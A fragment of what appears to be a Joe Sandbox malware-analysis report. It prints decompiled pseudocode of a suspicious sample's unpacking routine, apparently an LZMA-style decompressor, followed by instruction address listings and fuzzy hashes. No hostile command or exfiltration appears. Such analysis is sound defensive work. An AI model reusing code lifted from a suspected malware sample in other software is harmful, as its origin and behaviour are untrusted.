								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406398
0x00406398
0x0040639c
0x00406453
0x00406456
0x00406462
0x00406343
0x00406343
0x00406346
0x004066b8
0x004066b8
0x004066bb
0x004066bb
0x004066c1
0x004066c7
0x004066cd
0x004066e7
0x004066ea
0x004066f0
0x004066fb
0x004066fd
0x004066cf
0x004066cf
0x004066de
0x004066e2
0x004066e2
0x00406707
0x0040672e
0x0040672e
0x00406734
0x00406734
0x00000000
0x00406709
0x00406709
0x0040670d
0x004068bc
0x00000000
0x004068bc
0x00406719
0x00406720
0x00406728
0x0040672b
0x00000000
0x0040672b
0x004063a2
0x004063a6
0x004068e7
0x004068e7
0x004068ea
0x004068ee
0x004068ee
0x004063ac
0x004063b2
0x004063b5
0x004063b9
0x004063bc
0x004063c0
0x00406886
0x004068d2
0x004068da
0x004068e1
0x004068e3
0x00000000
0x004068e3
0x004063c6
0x004063c9
0x004063cf
0x004063d1
0x004063d1
0x004063d4
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e3
0x004063e4
0x004063e6
0x004063e6
0x004063e6
0x004063e9
0x004063ec
0x004063ef
0x004063f2
0x004063f2
0x004063f5
0x004063f7
0x004063f7
0x004063fa
0x004063fa
0x004063fa
0x00405ed0
0x00405ed0
0x00405ed9
0x00000000
0x00000000
0x00405edf
0x00000000
0x00405eea
0x00000000
0x00000000
0x00405ef3
0x00405ef6
0x00405ef9
0x00405efd
0x00000000
0x00000000
0x00405f03
0x00405f06
0x00405f08
0x00405f09
0x00405f0c
0x00405f0e
0x00405f0f
0x00405f11
0x00405f14
0x00405f19
0x00405f1e
0x00405f27
0x00405f3a
0x00405f3d
0x00405f49
0x00405f71
0x00405f73
0x00405f81
0x00405f81
0x00405f85
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f75
0x00405f75
0x00405f78
0x00405f79
0x00405f79
0x00000000
0x00405f75
0x00405f4f
0x00405f54
0x00405f54
0x00405f5d
0x00405f65
0x00405f68
0x00000000
0x00405f6e
0x00405f6e
0x00000000
0x00405f6e
0x00000000
0x00405f8b
0x00405f8b
0x00405f8f
0x0040683b
0x00000000
0x0040683b
0x00405f98
0x00405fa8
0x00405fab
0x00405fae
0x00405fae
0x00405fae
0x00405fb1
0x00405fb5
0x00000000
0x00000000
0x00405fb7
0x00405fbd
0x00405fe7
0x00405fed
0x00405ff4
0x00000000
0x00405ff4
0x00405fc3
0x00405fc6
0x00405fcb
0x00405fcb
0x00405fd6
0x00405fde
0x00405fe1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406026
0x0040602c
0x0040602f
0x0040603c
0x00406044
0x00000000
0x00000000
0x00405ffb
0x00405ffb
0x00405fff
0x0040684a
0x00000000
0x0040684a
0x0040600b
0x00406016
0x00406016
0x00406016
0x00406019
0x0040601c
0x0040601f
0x00406024
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040604c
0x0040604e
0x00406051
0x004060c2
0x004060c5
0x004060c8
0x004060cf
0x004060d9
0x00000000
0x004060d9
0x00406053
0x00406057
0x0040605a
0x0040605c
0x0040605f
0x00406062
0x00406064
0x00406067
0x00406069
0x0040606e
0x00406071
0x00406074
0x00406078
0x0040607f
0x00406082
0x00406089
0x0040608d
0x00406095
0x00406095
0x00406095
0x0040608f
0x0040608f
0x0040608f
0x00406084
0x00406084
0x00406084
0x00406099
0x0040609c
0x004060ba
0x004060bc
0x00000000
0x0040609e
0x0040609e
0x004060a1
0x004060a4
0x004060a7
0x004060a9
0x004060a9
0x004060a9
0x004060ac
0x004060af
0x004060b1
0x004060b2
0x004060b5
0x00000000
0x004060b5
0x00000000
0x004062eb
0x004062ef
0x0040630d
0x00406310
0x00406317
0x0040631a
0x0040631d
0x00406320
0x00406323
0x00406326
0x00406328
0x0040632f
0x00406330
0x00406332
0x00406335
0x00406338
0x0040633b
0x0040633b
0x00406340
0x00000000
0x00406340
0x004062f1
0x004062f4
0x004062f7
0x00406301
0x00000000
0x00000000
0x00406355
0x00406359
0x0040637c
0x0040637f
0x00406382
0x0040638c
0x0040635b
0x0040635b
0x0040635e
0x00406361
0x00406364
0x00406371
0x00406374
0x00406374
0x00000000
0x00000000
0x00000000
0x00000000
0x00406409
0x0040640d
0x00406414
0x00406417
0x0040641a
0x00406424
0x00000000
0x00406424
0x0040640f
0x00000000
0x00000000
0x00406430
0x00406434
0x0040643b
0x0040643e
0x00406441
0x00406436
0x00406436
0x00406436
0x00406444
0x00406447
0x0040644a
0x0040644a
0x0040644d
0x00406450
0x00000000
0x00000000
0x004064f0
0x004064f0
0x004064f4
0x00406892
0x00000000
0x00406892
0x004064fa
0x004064fd
0x00406500
0x00406504
0x00406507
0x0040650d
0x0040650f
0x0040650f
0x0040650f
0x00406512
0x00406515
0x00000000
0x00000000
0x004060e5
0x004060e5
0x004060e9
0x00406856
0x00000000
0x00406856
0x004060ef
0x004060f2
0x004060f5
0x004060f9
0x004060fc
0x00406102
0x00406104
0x00406104
0x00406104
0x00406107
0x0040610a
0x0040610a
0x0040610d
0x00406110
0x00000000
0x00000000
0x00406116
0x0040611c
0x00000000
0x00000000
0x00406122
0x00406122
0x00406126
0x00406129
0x0040612c
0x0040612f
0x00406132
0x00406133
0x00406136
0x00406138
0x0040613e
0x00406141
0x00406144
0x00406147
0x0040614a
0x0040614d
0x00406150
0x0040616c
0x0040616f
0x00406172
0x00406175
0x0040617c
0x00406180
0x00406182
0x00406186
0x00406152
0x00406152
0x00406156
0x0040615e
0x00406163
0x00406165
0x00406167
0x00406167
0x00406189
0x00406190
0x00406193
0x00000000
0x00406199
0x00000000
0x00406199
0x00000000
0x0040619e
0x0040619e
0x004061a2
0x00406862
0x00000000
0x00406862
0x004061a8
0x004061ab
0x004061ae
0x004061b2
0x004061b5
0x004061bb
0x004061bd
0x004061bd
0x004061bd
0x004061c0
0x004061c3
0x004061c3
0x004061c3
0x004061c9
0x00000000
0x00000000
0x004061cb
0x004061ce
0x004061d1
0x004061d4
0x004061d7
0x004061da
0x004061dd
0x004061e0
0x004061e3
0x004061e6
0x004061e9
0x00406201
0x00406204
0x00406207
0x0040620a
0x0040620a
0x0040620d
0x00406211
0x00406213
0x004061eb
0x004061eb
0x004061f3
0x004061f8
0x004061fa
0x004061fc
0x004061fc
0x00406216
0x0040621d
0x00406220
0x00000000
0x00406222
0x00000000
0x00406222
0x00406220
0x00406227
0x00406227
0x00406227
0x00406227
0x00000000
0x00000000
0x00406262
0x00406262
0x00406266
0x0040686e
0x00000000
0x0040686e
0x0040626c
0x0040626f
0x00406272
0x00406276
0x00406279
0x0040627f
0x00406281
0x00406281
0x00406281
0x00406284
0x00406287
0x00406287
0x0040628d
0x0040622b
0x0040622b
0x0040622e
0x00000000
0x0040622e
0x0040628f
0x0040628f
0x00406292
0x00406295
0x00406298
0x0040629b
0x0040629e
0x004062a1
0x004062a4
0x004062a7
0x004062aa
0x004062ad
0x004062c5
0x004062c8
0x004062cb
0x004062ce
0x004062ce
0x004062d1
0x004062d5
0x004062d7
0x004062af
0x004062af
0x004062b7
0x004062bc
0x004062be
0x004062c0
0x004062c0
0x004062da
0x004062e1
0x004062e4
0x00000000
0x004062e6
0x00000000
0x004062e6
0x00000000
0x00406573
0x00406573
0x00406577
0x0040689e
0x00000000
0x0040689e
0x0040657d
0x00406580
0x00406583
0x00406587
0x0040658a
0x00406590
0x00406592
0x00406592
0x00406592
0x00406595
0x00000000
0x00000000
0x00000000
0x00000000
0x00406682
0x00406686
0x004066a8
0x004066ab
0x004066b5
0x00000000
0x004066b5
0x00406688
0x0040668b
0x0040668f
0x00406692
0x00406692
0x00406695
0x00000000
0x00000000
0x0040673f
0x00406743
0x00406761
0x00406761
0x00406761
0x00406768
0x0040676f
0x00406776
0x00406776
0x00000000
0x00406776
0x00406745
0x00406748
0x0040674b
0x0040674e
0x00406755
0x00406699
0x00406699
0x0040669c
0x00000000
0x00000000
0x00406830
0x00406833
0x00000000
0x00000000
0x0040646a
0x0040646c
0x00406473
0x00406474
0x00406476
0x00406479
0x00000000
0x00000000
0x00406481
0x00406484
0x00406487
0x00406489
0x0040648b
0x0040648b
0x0040648c
0x0040648f
0x00406496
0x00406499
0x004064a7
0x00000000
0x00000000
0x0040677d
0x0040677d
0x00406780
0x00406787
0x00000000
0x00000000
0x0040678c
0x0040678c
0x00406790
0x004068c8
0x00000000
0x004068c8
0x00406796
0x00406799
0x0040679c
0x004067a0
0x004067a3
0x004067a9
0x004067ab
0x004067ab
0x004067ab
0x004067ae
0x004067b1
0x004067b1
0x004067b1
0x004067b1
0x004067b4
0x004067b4
0x004067b8
0x00406818
0x0040681b
0x00406820
0x00406821
0x00406823
0x00406825
0x00406828
0x00000000
0x00406828
0x004067ba
0x004067c0
0x004067c3
0x004067c6
0x004067c9
0x004067cc
0x004067cf
0x004067d2
0x004067d5
0x004067d8
0x004067db
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406801
0x00406803
0x00406803
0x00406804
0x00406807
0x004067dd
0x004067dd
0x004067e5
0x004067ea
0x004067ec
0x004067ef
0x004067ef
0x0040680a
0x00406811
0x00000000
0x00406813
0x00000000
0x00406813
0x00000000
0x004064af
0x004064b2
0x004064e8
0x00406618
0x00406618
0x00406618
0x00406618
0x0040661b
0x0040661b
0x0040661e
0x00406620
0x004068aa
0x00000000
0x004068aa
0x00406626
0x00406629
0x00000000
0x00000000
0x0040662f
0x00406633
0x00406636
0x00406636
0x00406636
0x00000000
0x00406636
0x004064b4
0x004064b6
0x004064b8
0x004064ba
0x004064bd
0x004064be
0x004064c0
0x004064c2
0x004064c5
0x004064c8
0x004064de
0x004064e3
0x0040651b
0x0040651b
0x0040651f
0x0040654b
0x0040654d
0x00406554
0x00406557
0x0040655a
0x0040655a
0x0040655f
0x0040655f
0x00406561
0x00406564
0x0040656b
0x0040656e
0x0040659b
0x0040659b
0x0040659e
0x004065a1
0x00406615
0x00406615
0x00406615
0x00000000
0x00406615
0x004065a3
0x004065a9
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b8
0x004065bb
0x004065be
0x004065c1
0x004065c4
0x004065dd
0x004065df
0x004065e2
0x004065e3
0x004065e6
0x004065e8
0x004065eb
0x004065ed
0x004065ef
0x004065f2
0x004065f4
0x004065f7
0x004065fb
0x004065fd
0x004065fd
0x004065fe
0x00406601
0x00406604
0x004065c6
0x004065c6
0x004065ce
0x004065d3
0x004065d5
0x004065d8
0x004065d8
0x00406607
0x0040660e
0x00406598
0x00406598
0x00406598
0x00406598
0x00000000
0x00406610
0x00000000
0x00406610
0x0040660e
0x00406521
0x00406524
0x00406526
0x00406529
0x0040652c
0x0040652f
0x00406531
0x00406534
0x00406537
0x00406537
0x0040653a
0x0040653a
0x0040653d
0x00406544
0x00406518
0x00406518
0x00406518
0x00406518
0x00000000
0x00406546
0x00000000
0x00406546
0x00406544
0x004064ca
0x004064cd
0x004064cf
0x004064d2
0x00000000
0x00000000
0x00406231
0x00406231
0x00406235
0x0040687a
0x00000000
0x0040687a
0x0040623b
0x0040623e
0x00406241
0x00406244
0x00406247
0x0040624a
0x0040624d
0x0040624f
0x00406252
0x00406255
0x00406258
0x0040625a
0x0040625a
0x0040625a
0x00000000
0x00000000
0x00000000
0x00000000
0x00406639
0x00406639
0x00406639
0x0040663d
0x00000000
0x00000000
0x00406643
0x00406646
0x00406649
0x0040664c
0x0040664e
0x0040664e
0x0040664e
0x00406651
0x00406654
0x00406657
0x0040665a
0x0040665d
0x00406660
0x00406661
0x00406663
0x00406663
0x00406663
0x00406666
0x00406669
0x0040666c
0x0040666f
0x00406672
0x00406676
0x00406678
0x0040667b
0x00000000
0x0040667d
0x00000000
0x0040667d
0x0040667b
0x004068b0
0x00000000
0x00000000
0x00405edf

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15aa086d42ea43156f7fbf6fbf97274f99b2efc4d47cfe7aa8cc3aef762d7e26
Instruction ID: 22847fb14cdf7a24f95a3c84300c4786f150dfac54d3f328c430af40b2e48c23
Opcode Fuzzy Hash: 15aa086d42ea43156f7fbf6fbf97274f99b2efc4d47cfe7aa8cc3aef762d7e26
Instruction Fuzzy Hash: EB816871D04229CFDF24CFA8C844BAEBBB1FB44305F25816AD406BB281C7789A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405E9D Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00405E9D(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M004068EF))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12);
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
